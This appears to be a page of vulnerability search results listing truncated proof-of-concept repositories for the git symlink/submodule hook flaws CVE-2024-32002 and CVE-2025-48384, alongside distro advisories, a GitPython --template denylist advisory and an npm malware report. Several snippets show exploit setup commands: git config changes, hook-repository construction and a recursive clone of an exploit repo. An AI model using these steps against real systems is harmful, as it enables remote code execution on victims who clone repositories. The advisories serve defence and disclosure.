git_rce

CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: root@kitploit: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.13...

CVE-2024-32002-Exploit

root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

hooky

hooky このリポジトリは https://github.com/markuta/CVE-2024-32002 のサブモジュールであり、macOSシステム上で計算機を開くためのシンプルなフックを y/hooks/post-checkout に含んでいます。 root@kitploit: open -a Calculator.app 脆弱性の詳細は こちら と こちら で確認できます。...

CVE-2025-48384-submodule

CVE-2025-48384 サブモジュール このサブモジュールには、デモンストレーション用の悪意のある post-checkout フックが含まれています。...

CVE-2024-32002-poc

Bashスクリプト: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale...

CVE-2024-32002-EXP

CVE-2024-32002-EXP root@kitploit: !/bin/bash 设置 Git 配置选项 git config --global protocol.file.allow always git config --global core.symlinks true 避免警告消息（设置默认分叉为main） git config --global init.defaultBranch main 定义 tell-tale 路径 telltalepath="$PWD/tell.tale" 初始化 hook 仓库 git init hook cd hook mkdir -p...

Astra Linux – Vulnerability in Git

Git is a fast, scalable, distributed revision control system with an unusually rich command set. It offers both high-level operations and full access to its internal workings. When reading a config value, Git removes any trailing carriage return and line feed CRLF characters. When writing a confi...

Linux Distros Unpatched Vulnerability : CVE-2026-73623

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command executio...

CVE-2026-73623 GitPython before 3.1.54 Remote Code Execution via --template

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...

EUVD-2026-57792

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...

CVE-2026-73623

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...

MAL-2026-5750 Malicious code in mailconfirmer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfb184ffa15fd011b84658a6b5cd68582e78827258a8373f0da1ef34248bfb09 The package advertises itself as an email-confirmation utility, but index.js contains only no-op stubs that console.log demo messages. The real...

MiracleLinux 7 : git-1.8.3.1-25.0.4.el7.AXS7 (AXSA:2025-10662:11)

The remote MiracleLinux 7 host has packages installed that are affected by a vulnerability as referenced in the AXSA:2025-10662:11 advisory. CVE-2025-48384: config: quote values containing CR character CVEs: CVE-2025-48384 Git is a fast, scalable, distributed revision control system with an...

TencentOS Server 2: git (TSSA-2025:0737)

The version of Tencent Linux installed on the remote TencentOS Server 2 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2025:0737 advisory. Package updates are available for TencentOS Server 2 that fix the following vulnerabilities:...

EulerOS 2.0 SP10 : git (EulerOS-SA-2025-2065)

According to the versions of the git packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full...

EulerOS 2.0 SP12 : git (EulerOS-SA-2025-2004)

According to the versions of the git packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full...

VulnCheck KEV: CVE-2025-48384

Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed CRLF. When writing a config entry, values with ...

Improper Input Validation

git is vulnerable to improper input validation. The vulnerability is due to improper handling of carriage return CR characters in configuration and submodule paths, which allows an attacker to exploit the altered path and potentially trigger unintended execution of a submodule’s post-checkout hoo...

OESA-2025-1793 git security update

Security Fixes: Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed CRLF. When writing a config...

AZL-65043 CVE-2025-48384 affecting package git for versions less than 2.45.4-1

Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed CRLF. When writing a config entry, values with ...